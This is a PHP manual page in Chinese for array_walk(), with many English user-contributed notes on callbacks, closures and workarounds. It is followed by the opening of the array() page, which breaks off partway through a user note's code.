参数数量超过预期，传入内置函数 (例如 strtolower())， 将抛出警告，所以不适合当做 callback。

只有 array 的值才可以被改变，用户不应在回调函数中改变该数组本身的结构。例如增加/删除单元，unset 单元等等。如果 array_walk() 作用的数组改变了，则此函数的的行为未经定义，且不可预期。

arg

如果提供了可选参数 arg，将被作为第三个参数传递给 callback。

返回值

返回 true。

错误／异常

从 PHP 7.1.0 起，如果 callback 函数需要的参数（数组成员的值和键）超过2个或者 也传递了 arg 参数需要的参数超过3个时，会抛出 ArgumentCountError。 在此之前，每次 array_walk() 调用 callback 的时候都会生成 E_WARNING 级别的错误。

更新日志

版本 | 说明
8.0.0 | 如果 callback 期待通过引用传递第二个和第三个参数， 此函数现在将抛出 E_WARNING。

示例

Example #1 array_walk() 例子

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");

function test_alter(&$item1, $key, $prefix)
{
$item1 = "$prefix: $item1";
}

function test_print($item2, $key)
{
echo "$key. $item2\n";
}

echo "Before ...:\n";
array_walk($fruits, 'test_print');

array_walk($fruits, 'test_alter', 'fruit');
echo "... and after:\n";

array_walk($fruits, 'test_print');
?>

以上示例会输出：

Before ...:
d. lemon
a. orange
b. banana
c. apple
... and after:
d. fruit: lemon
a. fruit: orange
b. fruit: banana
c. fruit: apple

Example #2 array_walk() example using anonymous function

<?php
$elements = ['a', 'b', 'c'];
array_walk($elements, function ($value, $key) {
echo "{$key} => {$value}\n";
});
?>

以上示例会输出：

0 => a
1 => b
2 => c

参见

  • array_walk_recursive() - 对数组中的每个成员递归地应用用户函数
  • iterator_apply() - 为迭代器中每个元素调用函数
  • list() - 把数组中的值赋给一组变量
  • each() - 返回数组中当前的键／值对并将数组指针向前移动一步
  • call_user_func_array() - 调用回调函数，并把一个数组参数作为回调函数的参数
  • array_map() - 为数组的每个元素应用回调函数
  • foreach

User Contributed Notes

christopher at crmldnrs dot com 28-May-2022 11:36
public function big_endian_array_walk(array $array, $callback) {
      end($array);
      for($i=sizeof($array);$i>0;$i--) {
        $key = key($array);
        $value = array_pop($array);
        if(preg_match('/^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$/', $value)) {
          call_user_func_array($callback, [$value, $key]);
        }
      }
    }
christopher at crmldnrs dot com 28-May-2022 11:34
public function big_endian_array_walk(array $array, $callback) {
      end($array);
      for($i=sizeof($array);$i>0;$i--) {
        $key = key($array);
        $value = array_pop($array);
        if(preg_match('/^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$/', $value)) {
          call_user_func_array($callback, [$value, $key]);
        }
      }
    }

I just wanted to walk from the end to the beginning.
emre 12-Jul-2021 10:07
You can change the key or value with array_walk if you use the temporal returned array in global inside the function. For example:

$array = ['a'=>10, 'b'=>20];
$sequence = array ();

$newArray = array_values(array_walk($array, 'fn'));

function fn(&$val,$key){

global $sequence;

$sequence [] = $val;

}

No need to concern about the place of the internal pointer for the baby array. You have now rewinded, 0 based new array, string key one instead.
mystral77 at gmail dot com 24-Jun-2020 02:54
Hello,

If you want to add values with same key from two arrays :

<?php
function add(&$item,$key,$search) {
    $item += (is_array($search))?((isset($search[$key]))?$search[$key]:0):0;
}

$a = ["orange" => 2, "banana" => 3, "apple" => 1];
$b = ["orange" => 1, "apple" => 4];

array_walk($c,"add",$b);

echo "<pre>".print_r($c,true)."</pre>";
?>

This will output:

"orange" => 3,
"banana" => 3,
"apple" => 5
taj at yahoo dot fr 27-Feb-2019 11:42
// We can make that with this simple FOREACH loop :

$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");

foreach($fruits as $cls => $vls)
{
  $fruits[$cls] = "fruit: ".$vls;
}

Results:

Array
(
    [d] => fruit: lemon
    [a] => fruit: orange
    [b] => fruit: banana
    [c] => fruit: apple
)
EllisGL 01-Aug-2018 06:15
For those that think they can't use array_walk to change / replace a key name, here you go:

<?php
function array_explore(array &$array, callable $callback)
{
    array_walk($array, function(&$value, $key) use (&$array, $callback)
    {
        $callback($array, $key, $value);

        if(is_array($value))
        {
            array_explore($value, $callback);
        }
    });
}

/**
 * Stolen from: https://stackoverflow.com/questions/13233405/change-key-in-associative-array-in-php
 */
function renameKey(array &$data, $oldKey, $newKey, $ignoreMissing = false, $replaceExisting = false)
{
    if (!empty($data))
    {
        if (!array_key_exists($oldKey, $data))
        {
            if ($ignoreMissing)
            {
                return FALSE;
            }

            throw new \Exception('Old key does not exist.');
        }
        else
        {
            if (array_key_exists($newKey, $data))
            {
                if ($replaceExisting)
                {
                    unset($data[$newKey]);
                }
                else
                {
                    throw new \Exception('New key already exist.');
                }
            }

            $keys = array_keys($data);

            // Fix from EllisGL: http://php.net/manual/en/function.array-search.php#122377
            $keys[array_search($oldKey, array_map('strval', $keys))] = $newKey;

            $data = array_combine($keys, $data);

            return TRUE;
        }
    }

    return FALSE;
}

$array = [
    "_10fish" => 'xyz',
    "_11fish" => [
        "_22" => "a", "b", "c"
        ],
    "someFish" => [
        'xyz',
        '@attributes' => ['type' => 'cod']
        ]
    ];

array_explore($array, function(&$value, $key)
{
    // Replace key '@attrutes' with '_attributes'
    if('@attributes' === $key)
    {
        renameKey($value, $key, '_attributes');
    }

});

print_r($array);
?>
01001coder at gmail dot com 05-Dec-2017 10:19
I noticed that :

PHP ignored arguments type when using array_walk() even if there was

declare(strict_types=1) .

See this code as an example ...

<?php
declare(strict_types=1);

$fruits = array("butter" => 5.3, "meat" => 7, "banana" => 3);

function test_print(int $item2, $key) {
    echo "$key: $item2<br />\n";
}

array_walk($fruits, 'test_print');

?>

The output is :

butter: 5
meat: 7
banana: 3

whilst the expecting output is :

Fatal error: Uncaught TypeError: Argument 1 passed to test_print() must be of the type integer

because "butter" => 5.3 is float

I asked someone about it and they said "this was caused by the fact that callbacks called from internal code will always use weak type". But I tried to do some tests and this behavior is not an issue when using call_user_func().
vrrivaro at YESIUSEGMAIL dot gmail dot SO dot com 18-Mar-2017 02:40
The output of the example is only correct if viewed through a web browser. If you pass it through to PHP-CLI, you will get to see the additional HTML line breaks, however.
fantomx1 at gmail dot com 22-Aug-2016 08:08
Since array_walk cannot modify / change / reindex keys as already mentioned, i provide this small wrapping function which accomplishes passing array reference and index using closures , "use" keyword.

function indexArrayByElement($array, $element)
{
    $arrayReindexed = [];
    array_walk(
        $array,
        function ($item, $key) use (&$arrayReindexed, $element) {
            $arrayReindexed[$item[$element]] = $item;
        }
    );
    return $arrayReindexed;
}
fred 30-Dec-2015 09:01
Correction for the speed test from zlobnygrif.

<?php
// Test results
$array1 = test('array_walk');
$array2 = test('array_walk_list_each');
$array3 = test('array_walk_foreach1');
$array4 = test('array_walk_foreach2');

// Check arrays for equal
var_dump($array1 == $array2, $array1 == $array3, $array1 == $array4);

// Test function 1
function array_walk_list_each(&$array, $function, $userData = null) {
   /* make sure we walk the array each time */
    reset($array);
    while ( list($key, $value) = each($array) )
        $function($array[$key], $key, $userData);
}

// Test function 2
function array_walk_foreach1(&$array, $function, $userData = null) {
    foreach ($array as $key => &$value )
        $function($value, $key, $userData);
}

// Test function 3
function array_walk_foreach2(&$array, $function, $userData = null) {
    foreach ($array as $key => $value )
        $function($array[$key], $key, $userData);
}

function some_function(&$value, $key, $userData) {
    $value = "$key => $userData";
}

function test($function, $count = 10000, $arrayElements = 1000) {
    echo $function, ' ... ';
    $array = array_fill(0, $arrayElements, "some text value");

    $timer = microtime(true);
    for( $i = 0; ++$i < $count; )
        /* change data for each $i */
        $function($array, 'some_function', 'some user data ' . $i);
    printf("%.3f sec\n", microtime(true) - $timer);

    return $array;
}
ezhacher at gmail dot com 27-Aug-2014 12:45
Calling an array Walk inside a class

If the class is static:
array_walk($array, array('self', 'walkFunction'));
or
array_walk($array, array('className', 'walkFunction'));

Otherwise:
array_walk($array, array($this, 'walkFunction'));
chaley at brtransport dot com 16-Jun-2014 12:46
There is a note about 3 years ago regarding using this for trimming. array_map() may be cleaner for this. I haven't checked the time/resource impact:

$result = array_map("trim", $array);
zlobnygrif at gmail dot com 17-Jul-2013 05:41
Some speed tests

<?php
// Test results
$array1 = test('array_walk');
$array2 = test('array_walk_list_each');
$array3 = test('array_walk_foreach1');
$array4 = test('array_walk_foreach2');

// Check arrays for equal
var_dump($array1 == $array2, $array1 == $array3, $array1 == $array4);

// Test function 1
function array_walk_list_each(&$array, $function, $userData = null) {
    while ( list($key, $value) = each($array) )
        $function($array[$key], $key, $userData);
}

// Test function 2
function array_walk_foreach1(&$array, $function, $userData = null) {
    foreach ($array as $key => &$value )
        $function($value, $key, $userData);
}

// Test function 3
function array_walk_foreach2(&$array, $function, $userData = null) {
    foreach ($array as $key => $value )
        $function($array[$key], $key, $userData);
}

function some_function(&$value, $key, $userData) {
    $value = "$key => $userData";
}

function test($function, $count = 10000, $arrayElements = 1000) {
    echo $function, ' ... ';
    $array = array_fill(0, $arrayElements, "some text value");

    $timer = microtime(true);
    for( $i = 0; ++$i < $count; )
        $function($array, 'some_function', 'some user data');
    printf("%.3f sec\n", microtime(true) - $timer);

    return $array;
}
?>

Output (PHP 5.4.9-4ubuntu2.2 (cli) (built: Jul 15 2013 18:24:39))
=========================
array_walk ... 13.572 sec
array_walk_list_each ... 0.027 sec
array_walk_foreach1 ... 15.356 sec
array_walk_foreach2 ... 17.416 sec
bool(true)
bool(true)
bool(true)

Output (PHP 5.5.0 (cli) (built: Jul 16 2013 17:59:42) - same server)
=========================
array_walk ... 4.776 sec
array_walk_list_each ... 0.006 sec
array_walk_foreach1 ... 4.482 sec
array_walk_foreach2 ... 5.166 sec
bool(true)
bool(true)
bool(true)

PHP 5.5 array_walk looks pretty good but list each is more and more quickly...
brian at access9 dot net 24-May-2013 10:03
array_walk does not work on SplFixedArray objects:
<?php
$array = new SplFixedArray(2);
$array[0] = 'test_1';
$array[1] = 'test_2';

array_walk($array, function(&$val){
    $val .= '__';
    return $val;
});
foreach ($array as $a) {
    echo "$a\n";
}
?>

result is:
test_1
test_2
gold[at]evolved.net.nz 27-Mar-2013 10:08
For all those people trying to shoe-horn trim() into array_walk() and have found all these tricks to work around the issue with array_walk() passing 2 parameters to the callback...

Check out array_map().

http://php.net/array_map

It's all sorts of win.

For the record. I'm one of these people and after 15 years of php development I'm pleased to say that there's still things I'm learning. :)  I just found out about array_map() myself...
espertalhao04 at hotmail dot com 26-Dec-2012 11:35
here is a simple and yet easy to use implementation of this function.
the 'original' function has the problem that you can't unset a value.
with my function, YOU CAN!

<?php
function array_walk_protected(&$a,$s,$p=null)
{
    if(!function_exists($s)||!is_array($a))
    {
        return false;
    }

    foreach($a as $k=>$v)
    {
        if(call_user_func_array($s,array(&$a[$k],$k,$p))===false)
        {
            unset($a[$k]);
        }
    }
}

function get_name(&$e,$i,$p)
{
    echo "$i: $e<br>";
    return false;
}

$m=array('d'=>'33','Y'=>55);

array_walk_protected($m,'get_name');

var_dump($m); //returns array(0) { }
?>

i called it array_walk_protected because it is protected against the unexpected behavior of unsetting the value with the original function.

to delete an element, simply return false!!!
nothing else is needed!
unsetting $e, under your created function, will keep the same array as-is, with no changes!

by the way, the function returns false if $a is not array or $s is not a string!

limitations: it only can run user defined functions.
i hope you like it!
manuscle at gmail dot com 06-Dec-2011 07:16
example with closures, checking and deleting value in array:

<?php
$array = array('foo' => 'bar', 'baz' => 'bat');

array_walk($array, function($val,$key) use(&$array){
    if ($val == 'bar') {
        unset($array[$key]);
    }
});

var_dump($array);
alex_stanhope at hotmail dot com 26-Oct-2011 01:16
I wanted to walk an array and reverse map it into a second array.  I decided to use array_walk because it should be faster than a reset,next loop or foreach(x as &$y) loop.

<?php
$output = array();
array_walk($input, 'gmapmark_reverse', $output);

function gmapmark_reverse(&$item, $index, &$target) {
    $target[$item['form_key']] = $index;
}
?>

In my debugger I can see that $target is progressively updated, but when array_walk returns, $output is empty.  If however I use a (deprecated) call-by-reference:

<?php
array_walk($input, 'gmapmark_reverse', &$output);
?>

$output is returned correctly.  Unfortunately there's not an easy way to suppress the warnings:

<?php
@array_walk($input, 'gmapmark_reverse', &$output);
?>

doesn't silence them.  I've designed a workaround using a static array:

<?php
$reverse = array();
array_walk($input, 'gmapmark_reverse');
// call function one last time to get target array out, because parameters don't work
$reverse = gmapmark_reverse($reverse);

function gmapmark_reverse(&$item, $index = 0) {
  static $target;
  if (!$target) {
    $target = array();
  }
  if (isset($item['form_key'])) {
    $target[$item['form_key']] = $index;
  }
  return($target);
}
?>
tufanbarisyildirim at gmail dot com 05-Oct-2011 06:15
Filter an array by using key.

<?php
    $product_1 = 'test';
    $product_2 = 'test 2';

    function array_key_filter($array,$callback = 'trim')
    {
        $filtered = array();
        array_walk($array,function ($degeri,$degisken_adi) use (&$filtered,$callback)
        {
            if($callback($degisken_adi))
            {
                $filtered[$degisken_adi] =  $degeri;
            }
        });

        return $filtered;
    }

    #using

    $degiskenler = array_key_filter(get_defined_vars(),function($key)
    {
        return strpos($key,'product_') === 0;
    });

    print_r($degiskenler);
?>
output:

Array
(
    [product_1] => test
    [product_2] => test 2
)
Maxim 11-Jul-2011 12:23
Note that using array_walk with intval is inappropriate.
There are many examples on internet that suggest to use following code to safely escape $_POST arrays of integers:
<?php
array_walk($_POST['something'],'intval'); // does nothing in PHP 5.3.3
?>
It works in _some_ older PHP versions (5.2), but is against specifications. Since intval() does not modify it's arguments, but returns modified result, the code above has no effect on the array and will leave security hole in your website.

You can use following instead:
<?php
$_POST['something'] = array_map(intval,$_POST['something']);
?>
@jfredys 22-Mar-2011 05:07
I was looking for trimming all the elements in an array, I found this as the simplest solution:

<?php
array_walk($ids, create_function('&$val', '$val = trim($val);'));
?>
http://alex.moutonking.com/wordpress 15-Feb-2011 10:49
For completeness one has to mention the possibility of using this function with PHP 5.3 closures:

<?php
$names = array("D\'Artagnan", "Aramis", "Portos");
array_walk($names, function(&$n) {
  $n = stripslashes($n);
});
?>

The trap with array_walk being it doesn't return the array, instead it's modified by reference.
op_adept at yahoo dot co dot uk 02-Dec-2010 03:20
Prefix array values with keys and retrieve as a glued string, the original array remains unchanged. I used this to create some SQL queries from arrays.

<?php

function array_implode_prefix($outer_glue, $arr, $inner_glue, $prefix=false){
    array_walk( $arr , "prefix", array($inner_glue, $prefix) );
    return implode($outer_glue, $arr);
}

function prefix(&$value, $key, array $additional){
    $inner_glue = $additional[0];
    $prefix = isset($additional[1])? $additional[1] : false;
    if($prefix === false) $prefix = $key;

    $value = $prefix.$inner_glue.$value;
}

//Example 1:
$order_by = array("3"=>"ASC", "2"=>"DESC", "7"=>"ASC");
echo array_implode_prefix(",", $order_by, " ");
//Output: 3 ASC,2 DESC,7 ASC

//Example 2:
$columns = array("product_id", "category_id", "name", "description");
$table = "product";

echo array_implode_prefix(", ", $columns, ".", $table);
//Output:product.product_id, product.category_id, product.name, product.description

//Example 3 (function prefix) won't really be used on its own
$pre= "vacation";
$value = "lalaland";
prefix($value, $pre, array("."));
echo $value;

//Output: vacation.lalaland

?>
matthew at codenaked dot org 02-Sep-2010 11:24
Using lambdas you can create a handy zip function to zip together the keys and values of an array. I extended it to allow you to pass in the "glue" string as the optional userdata parameter. The following example is used to zip an array of email headers:

<?php

/**
 * Zip together the keys and values of an array using the provided glue
 *
 * The values of the array are replaced with the new computed value
 *
 * @param array $data
 * @param string $glue
 */
function zip(&$data, $glue=': ')
{
    if(!is_array($data)) {
        throw new InvalidArgumentException('First parameter must be an array');
    }

    array_walk($data, function(&$value, $key, $joinUsing) {
        $value = $key . $joinUsing . $value;
    }, $glue);
}

$myName = 'Matthew Purdon';
$myEmail = 'matthew@example.com';
$from = "$myName <$myEmail>";

$headers['From'] = $from;
$headers['Reply-To'] = $from;
$headers['Return-path'] = "<$myEmail>";
$headers['X-Mailer'] = "PHP" . phpversion() . "";
$headers['Content-Type'] = 'text/plain; charset="UTF-8"';

zip($headers);

$headers = implode("\n", $headers);
$headers .= "\n";

echo $headers;

/*
From: Matthew Purdon <matthew@example.com>
Reply-To: Matthew Purdon <matthew@example.com>
Return-path: <matthew@example.com>
X-Mailer: PHP5.3.2
Content-Type: text/plain; charset="UTF-8"
*/
?>
arekandrei at yandex dot ru 03-Jan-2010 07:30
You can use lambda function as a second parameter:

<?php
array_walk($myArray, function(&$value, $key){
    // if you want to change array values then "&" before the $value is mandatory.
});
?>

Example (multiply positive values by two):

<?php
$myArray = array(1, 2, 3, 4, 5);

array_walk($myArray, function(&$value, $index){
    if ($value > 0) $value *= 2;
});
?>
rustamabd at gmail dot com 13-Dec-2009 06:32
Don't forget about the array_map() function, it may be easier to use!

Here's how to lower-case all elements in an array:

<?php
    $arr = array_map('strtolower', $arr);
?>
erelsgl at gmail dot com 04-Mar-2009 03:40
If you want to unset elements from the callback function, maybe what you really need is array_filter.
jab_creations_-at_-yahoo_-dot-_com 26-Nov-2008 04:08
Unfortunately I spent a lot of time trying to permanently apply the effects of a function to an array using the array_walk function when instead array_map was what I wanted. Here is a very simple though effective example for those who may be getting overly frustrated with this function...

<?php
$fruits = array("Lemony & Fresh","Orange Twist","Apple Juice");

print_r($fruits);
echo '<br />';

function name_base($key)
{
 $name2 = str_replace(" ", "_", $key);
 $name3 = str_replace("&", "and", $name2);
 $name4 = strtolower($name3);
 echo $name4.'<br />';
 return $name4;
}
echo '<br />';

$test = array_map('name_base', $fruits);
$fruits_fixed = $test;
echo '<br />';
print_r($fruits_fixed);
?>
peterzuzek AT gmail DOT com 16-Nov-2008 09:04
I had some problems using this function - it didn't want to apply PHP-defined functions. So I decided to write my own - here it is. I had to use some generic-programming skills, didn't really checked the speed (I think it could be slow)... I believe it could be much better, but I don't know, how - well, I guess multiple array support and recursion would be nice. So?

Prototype:
bool arrayWalk(array &$arry, callback $callback, mixed $params=false)

<?php

    function arrayWalk(&$arry, $callback, $params=false) {
        $P=array(""); // parameters
        $a=""; // arguement string :)

        if($params !== false) { // add parameters
            if(is_array($params)) { // multiple additional parameters
                foreach($params as $par)
                    { $P[]=$par; }
            }
            else // just one additional
                { $P[]=$params; }
        }

        for( // create the arguement string
            $i=0; isset($P[$i]); ++$i
        )
            { $a.='$'.chr($i + 97).', '; } // random argument names

        $a=substr($a, 0, -2); // to get rid of the last comma and two spaces

        $func=create_function($a, 'return '.$callback.'('.$a.');'); // the generic function

        if(is_callable($func)) {
            for( // cycle through array
                $i=0; isset($arry[$i]); ++$i
            ) {
                $P[0]=$arry[$i]; // first element must be the first argument - array value
                $arry[$i] = call_user_func_array($func, $P); // assign the new value obtained by the generic function
            }
        }
        else
            { return false; } // failure - function not callable

        return true; // success!
    } // arrayWalk()

?>

One big problem I've noticed so far - for example, if you wanted to use str_replace on the array, you'd fail - simply because of the arguement order of str_replace, where the string modified is the third arguement, not the first as arrayWalk requires.

So, still some work left...
diyism 30-Oct-2008 11:18
When i pass the third parameter by reference in php5.2.5,
happened this: Warning: Call-time pass-by-reference has been deprecated - argument passed by value...

And to set allow_call_time_pass_reference to true in php.ini won't work, according to http://bugs.php.net/bug.php?id=19699   thus to work around:

<?php
array_walk($arrChnOut, create_function('&$v, $k, $arr_rtn', 'if ($k{0}!="_") {$arr_rtn[0]["_".$v[\'ID\']]=$v; unset($arr_rtn[0][$k]);}'), array(&$arrChnOut));
?>
jerk at yoosic dot de 21-Dec-2006 08:05
if you want to modify every value of an multidimensional array use this function used here:

<?php

$array = array (1=>1, 2=> 2, 3 => array(1=>11, 2=>12, 3=>13));
$text = "test";

function modarr(&$array, $text) {
        foreach ($array as $key => $arr) {
                if(is_array($arr)) $res[$key] = modarr(&$arr,$text);
                // modification function here
                else $res[$key] = $arr.$text;
                }
        return $res;
}

$erg = modarr($array, $text);

print_r($erg);

?>

result will be_

<?php
Array ( [1] => 1test [2] => 2test [3] => Array ( [1] => 11test [2] => 12test [3] => 13test ) )
?>
ludvig dot ericson at gmail dot com 21-Nov-2005 06:09
In response to 'ibolmo', this is an extended version of string_walk, allowing to pass userdata (like array_walk) and to have the function edit the string in the same manner as array_walk allows, note now though that you have to pass a variable, since PHP cannot pass string literals by reference (logically).

<?php
function string_walk(&$string, $funcname, $userdata = null) {
    for($i = 0; $i < strlen($string); $i++) {
        # NOTE: PHP's dereference sucks, we have to do this.
        $hack = $string{$i};
        call_user_func($funcname, &$hack, $i, $userdata);
        $string{$i} = $hack;
    }
}

function yourFunc($value, $position) {
    echo $value . ' ';
}

function yourOtherFunc(&$value, $position) {
    $value = str_rot13($value);
}

# NOTE: We now need this ugly $x = hack.
string_walk($x = 'interesting', 'yourFunc');
// Ouput: i n t e r e s t i n g

string_walk($x = 'interesting', 'yourOtherFunc');
echo $x;
// Output: vagrerfgvat
?>

Also note that calling str_rot13() directly on $x would be much faster ;-) just a sample.
Andrzej Martynowicz at gmail dot com 18-Sep-2005 06:03
It can be very useful to pass the third (optional) parameter by reference while modifying it permanently in callback function. This will cause passing modified parameter to next iteration of array_walk(). The exaple below enumerates items in the array:

<?php
function enumerate( &$item1, $key, &$startNum ) {
   $item1 = $startNum++ ." $item1";
}

$num = 1;

$fruits = array( "lemon", "orange", "banana", "apple");
array_walk($fruits, 'enumerate', $num );

print_r( $fruits );

echo '$num is: '. $num ."\n";
?>

This outputs:

Array
(
    [0] => 1 lemon
    [1] => 2 orange
    [2] => 3 banana
    [3] => 4 apple
)
$num is: 1

Notice at the last line of output that outside of array_walk() the $num parameter has initial value of 1. This is because array_walk() does not take the third parameter by reference.. so what if we pass the reference as the optional parameter..

<?php
$num = 1;

$fruits = array( "lemon", "orange", "banana", "apple");
array_walk($fruits, 'enumerate', &$num ); // reference here

print_r( $fruits );

echo '$num is: '. $num ."\n";
echo "we've got ". ($num - 1) ." fruits in the basket!";
?>

This outputs:
Array
(
    [0] => 1 lemon
    [1] => 2 orange
    [2] => 3 banana
    [3] => 4 apple
)
$num is: 5
we've got 4 fruits in the basket!

Now $num has changed so we are able to count the items (without calling count() unnecessarily).

As a conclusion, using references with array_walk() can be powerful toy but this should be done carefully since modifying third parameter outside the array_walk() is not always what we want.
el_porno at web dot de 27-May-2005 03:03
You want to get rid of the whitespaces users add in your form fields...?
Simply use...:

class SomeVeryImportantClass
{
...
    public function mungeFormData(&$data)
    {
        array_walk($data, array($this, 'munge'));
    }

    private function munge(&$value, &$key)
    {
        if(is_array($value))
        {
            $this->mungeFormData($value);
        }
        else
        {
            $value = trim($value);
        }
    }
...
}

so...
$obj = new SomeVeryImportantClass;
$obj->mungeFormData($_POST);
___
eNc
Enlightened One 07-Apr-2005 11:17
Beware that "array ($this, method)" construct. If you're wanting to alter members of the "$this" object inside "method" you should construct the callback like this:

  $callback[] = &$this;
  $callback[] = method;
  array_walk ($input, $callback);

Creating your callback using the array() method as suggested by "appletalk" results in a copy of $this being passed to method, not the original object, therefor any changes made to the object by method will be lost when array_walk() returns. While you could construct the callback with "array(&$this, method)", I believe this relies on the deprecated runtime pass-by-reference mechanism which may be removed in future releases of PHP. Better to not create a dependence on that feature now than having to track it down and fix it in the future.
bisqwit at iki dot fi 03-Sep-2004 04:54
It's worth nothing that array_walk can not be used to change keys in the array.
The function may be defined as (&$value, $key) but not (&$value, &$key).
Even though PHP does not complain/warn, it does not modify the key.


新建一个数组

  • ? array_walk
  • arsort ?
  • PHP Manual
  • 数组 函数
  • 新建一个数组

array

(PHP 4, PHP 5, PHP 7, PHP 8)

array — 新建一个数组

说明

array(mixed ...$values): array

创建一个数组。关于数组是什么的信息请阅读数组一节。

参数

values

语法"index => values"，用逗号分开，定义了索引和值。索引可以是字符串或数字。如果省略了索引，会自动产生从 0 开始的整数索引。如果索引是整数，则下一个产生的索引将是目前最大的整数索引 + 1。注意如果定义了两个完全一样的索引，则后面一个会覆盖前一个。

在最后一个定义的数组项目之后加一个逗号虽然不常见，却是合法的语法。

返回值

返回根据参数建立的数组。参数可以用 => 运算符给出索引。关于数组是什么的信息请阅读数组一节。

示例

下面的例子演示了怎样建立一个二维数组，怎样给相应的数组指定键名，以及怎样在普通数组中略过和继续数字索引。

Example #1 array() 例子

<?php
$fruits = array (
"fruits" => array("a" => "orange", "b" => "banana", "c" => "apple"),
"numbers" => array(1, 2, 3, 4, 5, 6),
"holes" => array("first", 5 => "second", "third")
);
?>

Example #2 array() 的自动索引

<?php
$array = array(1, 1, 1, 1, 1, 8 => 1, 4 => 1, 19, 3 => 13);
print_r($array);
?>

以上示例会输出：

Array
(
    [0] => 1
    [1] => 1
    [2] => 1
    [3] => 13
    [4] => 1
    [8] => 1
    [9] => 19
)

注意索引 3 被定义了两次，保留了最后的值 13。索引 4 在 索引 8 之后定义，下一个自动生成的索引（值为 19 那个）为 9，因为最大的索引是 8。

本例建立了从 1 开始的数组。

Example #3 从 1 开始索引的 array()

<?php
$firstquarter = array(1 => 'January', 'February', 'March');
print_r($firstquarter);
?>

以上示例会输出：

Array
(
    [1] => January
    [2] => February
    [3] => March
)

在 Perl 中，可以访问在双引号内的数组的值。但在 PHP 中需要将数组用花括号括起来。

Example #4 访问双引号内的数组

<?php

$foo = array('bar' => 'baz');
echo "Hello {$foo['bar']}!"; // Hello baz!

?>

注释

Note:

array() 是一个语言结构，用于字面上表示数组，不是常规的函数。

参见

  • array_pad() - 以指定长度将一个值填充进数组
  • list() - 把数组中的值赋给一组变量
  • count() - 统计数组、Countable 对象中所有元素的数量
  • range() - 根据范围创建数组，包含指定的元素
  • foreach
  • array 类型

User Contributed Notes

razvan_bc at yahoo dot com 18-May-2020 06:49
an array can execute code.
i try this on php 7.4 (xampp version)

<?php

[
     $msg='HI GUYS !'
    ,print ($msg)
    ,(function()use ($msg){
        print 'here is php';
    })()
    ,print ' I`m just an array ,alive one'
];

?>
ayyappan dot ashok at gmail dot com 18-Apr-2016 06:26
The code bellow by dave@wp.pl:

$var_name='var';
$var=array(0,1,2,3,4);
echo $$var_name[2];

//prints NOTHING instead 2.
// prints 2 with PHP version 7.01 onwards

Note :
This results 2 with PHP version 7.01 onwards. Other versions throws a notice error
majkel 20-Apr-2015 09:13
During initialization php parses every value as expression. One can declare variables, do calculations, or even manipulate "current" array

<?php

$arr['A'] = [
    &$arr, // circular reference
    'key' => 'val',
    $arr['B'] = [ // declare array, insert key and then value
        'a' => 'b',
    ],
    ucfirst(strtolower('SOME TEXT')),
    true ? 'TRUE' : 'FALSE', // evaluate expression
    $x  = 3, // declare variable
    $x *= 3, // perform calculations
];

var_dump($arr);

// Output
/*
array(2) {
  'B' => array(1) {
    'a' => string(1) "b"
  }
  'A' => array(7) {
    [0] => array(2) {
      'B' => array(1) {
        ...
      }
      'A' => &array
    }
    'key' => string(3) "val"
    [1] => array(1) {
      'a' => string(1) "b"
    }
    [2] => string(9) "Some text"
    [3] => string(4) "TRUE"
    [4] => int(3)
    [5] => int(9)
  }
}
*/
?>
dave at wp dot pl 27-Feb-2015 03:55
The code bellow:

$var_name='var';
$var=array(0,1,2,3,4);
echo $$var_name[2];

prints NOTHING instead 2.
ole dot aanensen at gmail dot com 10-Jun-2014 08:13
As of PHP 5.4.x you can now use 'short syntax arrays' which eliminates the need of this function.

Example #1 'short syntax array'
<?php
    $a = [1, 2, 3, 4];
    print_r($a);
?>

The above example will output:
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)

Example #2 'short syntax associative array'
<?php
    $a = ['one' => 1, 'two' => 2, 'three' => 3, 'four' => 4];
    print_r($a);
?>

The above example will output:
Array
(
    [one] => 1
    [two] => 2
    [three] => 3
    [four] => 4
)
sergei dot solomonov at gmail dot com 02-Oct-2013 08:53
Consider:
file inc1.php
-------------
<?php
return 'key';

file inc2.php
-------------
<?php
return 'value';

Test:
<?php
$a = [
    include 'inc1.php' => include 'inc2.php'
];
var_dump($a);

/* It works!!!
array(1) {
  'key' =>
  string(5) "value"
}
*/
qeremy 07-Mar-2012 02:50
Some tricky functions;

<?php
function is_array_assoc($arr) {
    if (is_array($arr)) {
        foreach ($arr as $k => $v) {
            if (is_string($k) || (is_int($k) && $k < 0)) {
                return 1;
            }
        }
        return 0;
    }
    return -1;
}

function is_array_multi($arr) {
    return is_array($arr)
        ? (count($arr) != count($arr, COUNT_RECURSIVE) ? 1 : 0)
        : -1;
}

$arr[] = array("foo", "bar", 1.09);
$arr[] = array("red", "yellow", 1 => "foo");
$arr[] = array("red", "yellow", -1 => "foo");
$arr[] = array("x" => array("red", "yellow"), "y" => array("one", "two"));
$arr[] = array();
$arr[] = "s";

foreach ($arr as $a) {
    echo is_array_assoc($a) ."\n";
}
echo "\n";
foreach ($arr as $a) {
    echo is_array_multi($a) ."\n";
}
?>

0
0
1
1
0
-1

0
0
0
1
0
-1

<?php
function array_count($arr) {
    $r = 0;
    foreach ($arr as $k => $v) {
        if (is_array($v)) {
            $r++;
        }
    }
    return $r;
}

function array_count_all($arr, $r = 0) {
    foreach ($arr as $k => $v) {
        if (is_array($v)) {
            $r = array_count_all($v, $r);
            $r++;
        }
    }
    return $r;
}

$a = array("foo", "bar", 1.09, array(1,2,3), array("a" => "aaa"));
echo array_count($a); // 2

$a = array(
    "foo", "bar", 1.09,
    "x" => array(1,2,3),
    array("a" => "aaa", "b" => array(), "c" => array(""), "d" => array("")),
    "e" => array(""),
    "z" => array(""),
    "q" => array("", array()),
    "w" => array("lorem", 1 => "impsum", 18, "dolor", array("last as 11th array"))
);
echo array_count_all($a); // 11
?>
r0h4rd at gmail dot com 06-Feb-2011 02:59
"Quick and dirty" class to get an offset of multidimensional array by given path (sorry, that without comments).

<?php

    class ArrayAsPathException extends Exception {}

    class ArrayAsPath {
        protected
            $data = array(),
            $separator = '.';

        public function __construct (array $data = array()) {
            $this->data = $data;
        }

        public function set ($value, $path = null) {
            if (!isset($path)) {
                $this->data = $value;
            }

            $separator = $this->separator;
            $pathtoken = strtok($path, $separator);

            $code = '';
